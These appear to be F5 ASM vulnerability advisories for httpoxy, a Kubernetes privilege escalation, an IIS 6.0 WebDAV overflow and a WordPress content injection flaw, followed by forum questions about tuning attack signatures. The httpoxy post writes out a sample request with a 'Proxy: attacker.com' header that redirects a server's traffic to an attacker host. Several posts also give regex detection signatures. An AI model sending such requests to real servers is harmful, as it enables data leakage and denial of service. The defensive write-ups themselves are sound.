httpoxy CGI Vulnerability ASM Mitigation
A major vulnerability in the CGI platform has been disclosed today, dubbed httpoxy. The vulnerability was actually discovered 15 years ago in libwww-perl, and was fixed at the time. However, various currently used libraries have been found to be vulnerable even today. CGI Protocol-Specific Meta-Variables RFC3875 describes the process of CGI setting system-wide environment variables based on user requests. CGI takes any custom header found in the requests, converts it to upper case, appends the string “HTTP_” to it, and sets it as an environment variable. For example, the following request to a server that runs CGI: GET /index.html HTTP/1.0 Host: example.com Foo: Bar Will have the following environment variable set on the server: HTTP_FOO=”Bar” The HTTP_PROXY Environment Variable A local server on a well-segregated corporate network is often blocked to outgoing HTTP traffic directly, and uses a proxy with high security settings in order to reach servers outside of corporate network. Many popular and common programs (such as wget, curl, elinks, lynx and more) use the HTTP_PROXY environment variable as part of their configuration. This variable specifies the address of the proxy server the program should use in order to communicate with the outside world. Exploiting The Weakness By using the information learned so far, it’s easy to understand the disclosed vulnerability. The following request will overwrite the HTTP_PROXY environment variable on the server, or simply set it if it doesn’t exist: GET /cgi-bin/script.pl HTTP/1.0 Host: victim.com Proxy: attacker.com:8080 The result of this action will send outgoing traffic from the server to the attacker server. Assuming the server is on a well-segregated network, the communication will be blocked by corporate firewall and simply cause Denial-of-Service on the server. In the worst case, where the server actually has communication privileges to the outside world – Information leakage of sensitive data will be possible. ASM Mitigation Using ASM signatures it’s possible to easily mitigate this vulnerability. A user-defined signature can be created to block all attempts of httpoxy exploitation attempts, with regards to the “Proxy” header. The user-defined signature should be created as such: headercontent:"Proxy:"; nocase; re2:"/^\s*Proxy:/Hmi"; An ASM security update (ASU) containing this signature is expected to release later this week.Kubernetes Privilege Escalation Vulnerability - ASM Mitigation
Kubernetes A bug in the Kubernetes platform has been disclosed this week by its developers. The bug has been marked as critical vulnerability with a 9.8 CVSS score and assigned the following CVE: CVE-2018-1002105. The Github description of the vulnerability reads: "With a specially crafted request, users that are authorized to establish a connection through the Kubernetes API server to a backend server can then send arbitrary requests over the same connection directly to that backend, authenticated with the Kubernetes API server’s TLS credentials used to establish the backend connection." The exploitation method is as follows – An attacker may send a malformed HTTP Upgrade request to the Kubernetes API server. The request will be checked for authorization by the API server, and passed on to the API aggregation layer and from there to the underlying server. Regardless of the successfulness of the Upgrade request, the connection will remain open between the API server and the underlying application server. From this point, every subsequent request sent to the API server will be passed on directly to the underlying application serverwithout any authorization enforcement by the API server. This allows the attacker to send a wide variety of API callsusing impersonated identities such as a system administrator. Mitigation with ASM ASM can detect malformed WebSocket requests on multiple layers. Connections over web application protected by an ASM WebSocket profile will have to comply to RFC protocols. In addition, ASM signatures can detect such malformed requests by using a simple HTTP profile. An attack signature update that covers this vulnerability has been released.IIS 6.0 WebDAV Buffer Overflow
Today we are reminded that old software can include new and critical security findings. Microsoft IIS 6.0 on Windows Server 2003 R2 is vulnerable to buffer overflow which leads to remote code execution. This is due to inproper validation of the If: header which is used in WebDAV. This issue is covered by CVE-2017-7269. The vulnerability is exploited by sending a malicious PROPFIND method to the vulnerable server. By default, this method is disabled on ASM. However, it is crucial for the proper function of WebDAV, so policies which protect this kind of application have probably enabled it. IIS 6.0 Despite being a 15 year old product which is not officially supported by Microsoft anymore - The web still uses IIS 6.0 in very large numbers. A search in Shodan shows that over 600k servers are still live: https://www.shodan.io/search?query=iis+6.0 Mitigation with attack signatures ASM users are encouraged to use the following attack signature to detect exploitation attempts for this vulnerability: content:"PROPFIND"; depth:8; headercontent:"If: <http://"; pcre:"/^If: <http:\/\/[^>]*?[\x80-\xFF]{5}/Hm"; This signature is due to be included in the next ASU, being released early April.WordPress Content Injection Vulnerability - ASM Mitigation
Last week, a critical vulnerability has been detected in WordPress 4.7/4.7.1 by Sucuri researchers: https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html The vulnerability allows unauthenticated attackers to change the contents of posts in WordPress, using a simple GET or POST request. This allows for as much as defacement or phishing attempts on WordPress sites. No evidence of this vulnerability leading to RCE has been reported yet. ASM is able to mitigate this vulnerability using the following user-defined signatures: content:"/wp-json/wp/v2/posts/"; nocase; content:"id="; nocase; re2:"/id=\s*?\+?\d+[^&\s\d]+?/i"; content:"/wp-json/wp/v2/posts/"; nocase; content:"|22|id|22|"; nocase; re2:"/\x22id\x22\s*?:\s*?\x22\s*?\+?\d+[^\x22\d]+?/i"; content:"/wp-json/wp/v2/posts/"; nocase; content:"|27|id|27|"; nocase; re2:"/\x27id\x27\s*?:\s*?\x22\s*?\+?\d+[^\x22\d]+?/i"; These signatures are expected to be included in the upcoming ASM security update, releasing next week. WordPress administrators are encouraged to upgrade to WordPress 4.7.2 as soon as possible.
Attack Signature Performance
Hi, Currenty I'm using [Change signature propertiesGeneric Detection Signatures (High/Medium Accuracy)] I want to enable all signature set so I can use all attack signatures. If I enable all of them will there be any performance problems or can I safely enable it? Thanks.
relation between CVE numbers and F5 ASM attack signatures
I was wondering if there is a way to check if certain CVEs are covered by an ASM attack signature? For example for shellshock when you click on the attack signature in the F5 ASM you can see the CVE numbers. so the information is in the database but can this be easily searched somehow? so is there a way to search for a CVE number and get the related F5 ASM attack signatures somehow?
How do you create an Attack Signature exception for one URL in a policy?
There is a SQL Injection signature that is throwing a false positive for one of the URLs in our policy. This is a high threat signature so we still want it to be in blocking, but want one URL to be exempt from it. I know that you can add URLs to the white list, but as far as I know that would white lists all traffic from them, not just one signature. Any suggestions? Thanks!Attack signature updates.
can anyone confirm best practices for Attack Signature updates? I would like to know if when working with a production environment if it would be safer to implement in the below stated layout as opposed to just importing it in to production. the retailer that I am doing this work for has fears that it may block traffic after the signature update. does anyone have insight into this? •Export Attack Signature Policy from production •Import production Attack Signature Policy into TEST environment •Update Attack Signatures in TEST •Clear Traffic Learnings in TEST •Evaluate and Modify Attack Signatures if site functionality is impaired (Disablement method based on severity of attack signature type) •Export Attack Signature Policy from TEST •Update Attack Signatures in PROD •Import TEST Attack Signature Policy into PROD This seems to be the least riskiest way to do this, though in my opinion with the updates being so frequent I cant see this being rational in order to maintain the updates every six weeks.
